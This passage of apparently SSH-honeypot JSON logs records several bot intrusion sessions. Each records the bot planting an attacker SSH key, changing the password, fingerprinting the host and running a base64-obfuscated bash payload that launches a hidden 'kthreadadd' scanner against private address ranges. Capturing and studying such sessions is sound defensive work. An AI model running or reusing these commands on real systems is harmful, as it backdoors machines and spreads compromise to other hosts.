-a"},{"seq":26,"at":"2026-08-23T20:59:10.602276+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T20:59:10.926895+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T20:59:10.929250+00:00","kind":"output","latency_ms":null,"data":"ydy"},{"seq":29,"at":"2026-08-23T20:59:11.254354+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T20:59:11.767441+00:00","kind":"output","latency_ms":513,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":31,"at":"2026-08-23T20:59:12.096147+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T20:59:12.555917+00:00","kind":"output","latency_ms":459,"data":"24G"},{"seq":33,"at":"2026-08-23T20:59:13.626583+00:00","kind":"input","latency_ms":null,"data":"echo \"ydy ydy\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T20:59:13.958216+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T20:59:14.398108+00:00","kind":"output","latency_ms":446,"data":""},{"seq":36,"at":"2026-08-23T20:59:15.078603+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-23T20:59:15.568532+00:00","kind":"output","latency_ms":490,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-23T20:59:15.896211+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T20:59:16.676886+00:00","kind":"output","latency_ms":780,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-23T20:59:17.005077+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T20:59:17.329076+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T20:59:17.782102+00:00","kind":"output","latency_ms":452,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-23T20:59:18.109080+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T20:59:18.607541+00:00","kind":"output","latency_ms":498,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-23T20:59:18.933896+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T20:59:19.363558+00:00","kind":"output","latency_ms":429,"data":""},{"seq":47,"at":"2026-08-23T20:59:27.186102+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-23T20:59:27.187526+00:00","kind":"output","latency_ms":null,"data":"ydy"}],"credentials":[{"username":"ydy","password":"ydy","method":"password","accepted":true,"tier":"other"}]} {"id":"4f9ee073-1488-4111-9cbb-38e0d5efc383","name":"gentle-vigilant-bowerbird","protocol":"ssh","channel_kind":"exec","src_ip":"135.125.206.205","src_port":39924,"username":"m1","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":306,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T20:57:33.351409+00:00","ended_at":"2026-08-23T20:57:33.437313+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":4163,"events":[{"seq":1,"at":"2026-08-23T20:57:03.960094+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T20:57:04.265839+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T20:57:08.948208+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T20:57:08.949087+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T20:57:09.265081+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\nvaVL7OYahe59\\nvaVL7OYahe59\"|passwd|bash"},{"seq":6,"at":"2026-08-23T20:57:09.567788+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\nvaVL7OYahe59\\nvaVL7OYahe59\\n\"|passwd"},{"seq":7,"at":"2026-08-23T20:57:09.875127+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T20:57:09.877638+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T20:57:10.184125+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T20:57:11.056938+00:00","kind":"output","latency_ms":874,"data":" total used free shared buff/cache available\nMem: 15888 1412 9480 52 4995 14152"},{"seq":11,"at":"2026-08-23T20:57:11.363103+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T20:57:12.145568+00:00","kind":"output","latency_ms":782,"data":"-rwxr-xr-x 1 root root 151344 Feb 20 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-23T20:57:12.452380+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T20:57:12.452868+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T20:57:12.764670+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T20:57:12.766126+00:00","kind":"output","latency_ms":null,"data":" 20:57:12 up 3 days, 17:47, 0 user, load average: 0.3, 0.27, 0.23\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T20:57:13.064717+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T20:57:13.065273+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T20:57:13.369695+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T20:57:13.371372+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T20:57:13.678161+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T20:57:13.678906+00:00","kind":"output","latency_ms":null,"data":"top - 20:57:13 up 3 days, 17:47, 0 user, load average: 0.3, 0.27, 0.23\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T20:57:13.982407+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T20:57:13.983050+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T20:57:14.289468+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T20:57:14.291066+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T20:57:14.596324+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T20:57:14.596989+00:00","kind":"output","latency_ms":null,"data":"m1"},{"seq":29,"at":"2026-08-23T20:57:14.905244+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T20:57:17.109568+00:00","kind":"output","latency_ms":2205,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-23T20:57:17.415513+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T20:57:18.236578+00:00","kind":"output","latency_ms":821,"data":"26G"},{"seq":33,"at":"2026-08-23T20:57:19.284262+00:00","kind":"input","latency_ms":null,"data":"echo \"m1 123456\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T20:57:19.590039+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T20:57:20.259941+00:00","kind":"output","latency_ms":671,"data":""},{"seq":36,"at":"2026-08-23T20:57:20.640576+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-23T20:57:21.340884+00:00","kind":"output","latency_ms":699,"data":"uuid=4f6a9c0b-2b5d-4f48-9d11-7f0b7b4e1d2c\nremote=203.0.113.1\nts=2026-08-23T20:56:11Z"},{"seq":38,"at":"2026-08-23T20:57:21.648400+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T20:57:22.276529+00:00","kind":"output","latency_ms":628,"data":"uuid=4f6a9c0b-2b5d-4f48-9d11-7f0b7b4e1d2c\nremote=203.0.113.1\nts=2026-08-23T20:56:11Z"},{"seq":40,"at":"2026-08-23T20:57:22.582417+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T20:57:22.888111+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T20:57:23.813445+00:00","kind":"output","latency_ms":924,"data":"uuid=4f6a9c0b-2b5d-4f48-9d11-7f0b7b4e1d2c\nremote=203.0.113.1\nts=2026-08-23T20:56:11Z"},{"seq":43,"at":"2026-08-23T20:57:24.120083+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T20:57:24.777783+00:00","kind":"output","latency_ms":658,"data":"uuid=4f6a9c0b-2b5d-4f48-9d11-7f0b7b4e1d2c\nremote=203.0.113.1\nts=2026-08-23T20:56:11Z"},{"seq":45,"at":"2026-08-23T20:57:25.086059+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T20:57:25.538210+00:00","kind":"output","latency_ms":451,"data":""},{"seq":47,"at":"2026-08-23T20:57:33.355097+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-23T20:57:33.358082+00:00","kind":"output","latency_ms":null,"data":"m1"}],"credentials":[{"username":"m1","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"c986bc7c-a71c-45d6-a6b2-7f701a5e2d8a","name":"obsidian-brazen-dotterel","protocol":"ssh","channel_kind":"exec","src_ip":"182.93.50.90","src_port":51184,"username":"hunter","client_version":"SSH-2.0-libssh_0.11.1","auth_attempts":1,"automation":"bot","think_ms":663,"probe_flagged":1,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T19:46:32.384549+00:00","ended_at":"2026-08-23T19:46:32.585281+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":4587,"events":[{"seq":1,"at":"2026-08-23T19:45:39.313959+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T19:45:39.978497+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T19:45:45.039786+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T19:45:45.042197+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T19:45:45.713715+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\nKTVY8zkQ8Ptd\\nKTVY8zkQ8Ptd\"|passwd|bash"},{"seq":6,"at":"2026-08-23T19:45:46.376433+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\nKTVY8zkQ8Ptd\\nKTVY8zkQ8Ptd\\n\"|passwd"},{"seq":7,"at":"2026-08-23T19:45:47.035766+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T19:45:47.037269+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T19:45:47.706129+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T19:45:48.278062+00:00","kind":"output","latency_ms":573,"data":"15888 2145 12743 37 264 6575"},{"seq":11,"at":"2026-08-23T19:45:48.945199+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T19:45:49.760771+00:00","kind":"output","latency_ms":816,"data":"-rwxr-xr-x 1 root root 148K Apr 9 2025 /usr/bin/ls"},{"seq":13,"at":"2026-08-23T19:45:50.447319+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T19:45:50.447889+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T19:45:51.108389+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T19:45:51.108967+00:00","kind":"output","latency_ms":null,"data":" 19:45:51 up 3 days, 16:35, 0 user, load average: 0.3, 0.27, 0.27\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T19:45:51.774081+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T19:45:51.775201+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T19:45:52.443086+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T19:45:52.443912+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T19:45:53.101713+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T19:45:53.102944+00:00","kind":"output","latency_ms":null,"data":"top - 19:45:53 up 3 days, 16:36, 0 user, load average: 0.3, 0.27, 0.27\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T19:45:53.766386+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T19:45:53.768064+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T19:45:54.426360+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T19:45:54.428090+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T19:45:55.087913+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T19:45:55.089262+00:00","kind":"output","latency_ms":null,"data":"hunter"},{"seq":29,"at":"2026-08-23T19:45:55.748051+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T19:45:56.800036+00:00","kind":"output","latency_ms":1046,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-23T19:45:57.463368+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T19:45:57.914222+00:00","kind":"output","latency_ms":449,"data":"25G"},{"seq":33,"at":"2026-08-23T19:46:00.088610+00:00","kind":"input","latency_ms":null,"data":"echo \"hunter 123456\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T19:46:00.760525+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T19:46:01.162443+00:00","kind":"output","latency_ms":401,"data":""},{"seq":36,"at":"2026-08-23T19:46:03.103778+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-23T19:46:03.611111+00:00","kind":"output","latency_ms":507,"data":"-bash: cat: command not found"},{"seq":38,"at":"2026-08-23T19:46:04.271710+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T19:46:04.718447+00:00","kind":"output","latency_ms":447,"data":"bash: cat: command not found"},{"seq":40,"at":"2026-08-23T19:46:05.380891+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T19:46:06.044456+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T19:46:06.740061+00:00","kind":"output","latency_ms":695,"data":"1"},{"seq":43,"at":"2026-08-23T19:46:07.402374+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T19:46:07.848194+00:00","kind":"output","latency_ms":445,"data":"1"},{"seq":45,"at":"2026-08-23T19:46:08.509372+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T19:46:09.162303+00:00","kind":"probe","latency_ms":null,"data":"model broke character on: sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-23T19:46:09.175750+00:00","kind":"output","latency_ms":652,"data":""},{"seq":48,"at":"2026-08-23T19:46:32.389175+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-23T19:46:32.391412+00:00","kind":"output","latency_ms":null,"data":"hunter"}],"credentials":[{"username":"hunter","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"35cfb8eb-0bf7-4f3c-8e82-7bc92dacb0f0","name":"steady-cheerful-ibis","protocol":"ssh","channel_kind":"exec","src_ip":"87.106.63.76","src_port":35932,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":273,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T19:03:55.913807+00:00","ended_at":"2026-08-23T19:03:55.985138+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3961,"events":[{"seq":1,"at":"2026-08-23T19:03:28.986930+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T19:03:29.262068+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T19:03:32.820071+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T19:03:32.821398+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T19:03:33.091099+00:00","kind":"input","latency_ms":null,"data":"echo 